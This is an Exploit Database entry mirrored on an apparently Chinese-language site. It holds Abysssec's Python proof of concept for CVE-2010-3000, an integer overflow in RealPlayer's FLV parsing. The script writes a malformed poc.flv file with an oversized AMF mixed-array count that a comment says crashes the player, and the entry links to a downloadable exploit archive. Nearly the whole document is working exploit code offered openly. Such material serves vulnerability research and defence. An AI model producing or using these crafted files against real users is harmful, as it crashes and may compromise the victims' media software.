RealPlayer – FLV Parsing Integer Overflow

• Exploit Database
• 79 阅读

• 作者： Abysssec
  日期： 2010-09-13
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14992/

• '''
  ________ __ ____ 
   |\/|/ __ \ /\| || |_ \
   | \/ | || | /\ | || | |_) |
   | |\/| | || |/ /\ \| || |_ <
   | || | |__| / ____ \ |__| | |_) |
   |_||_|\____/_/\_\____/|____/
   
  '''
  
  '''
  Title: RealPlayer FLV Parsing Multiple Integer Overflow
  Version	 : RealPlayer SP 1.1.4
  Analysis : http://www.abysssec.com
  Vendor	 : http://www.real.com
  Impact	 : High
  Contact	 : shahin [at] abysssec.com , info [at] abysssec.com
  Twitter	 : @abysssec
  CVE: CVE-2010-3000
  '''
  
  
  # POC for CVE-2010-3000
  # http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
  # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14992.zip (moaub-13-exploit.zip)
  
  import sys
  
  def main():
  
  	flvHeader = '\x46\x4C\x56\x01\x05\x00\x00\x00\x09'
  	flvBody1 = '\x00\x00\x00\x00\x12\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0A\x6F\x6E\x4D\x65\x74\x61\x44\x61\x74\x61\x08'
  	HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "\x07\x50\x75\x08" #if value >= 0x7507508 --> crash
  	flvBody2= "\x00\x00\x09\x00\x00\x00\x20"
  	
  	flv = open('poc.flv', 'wb+')
  	flv.write(flvHeader)
  	flv.write(flvBody1)
  	flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
  	flv.write(flvBody2)
  	
  	flv.close()
  	print '[-] FLV file generated'
  	
  if __name__ == '__main__':
  main()
  

  PowerShell

  Copy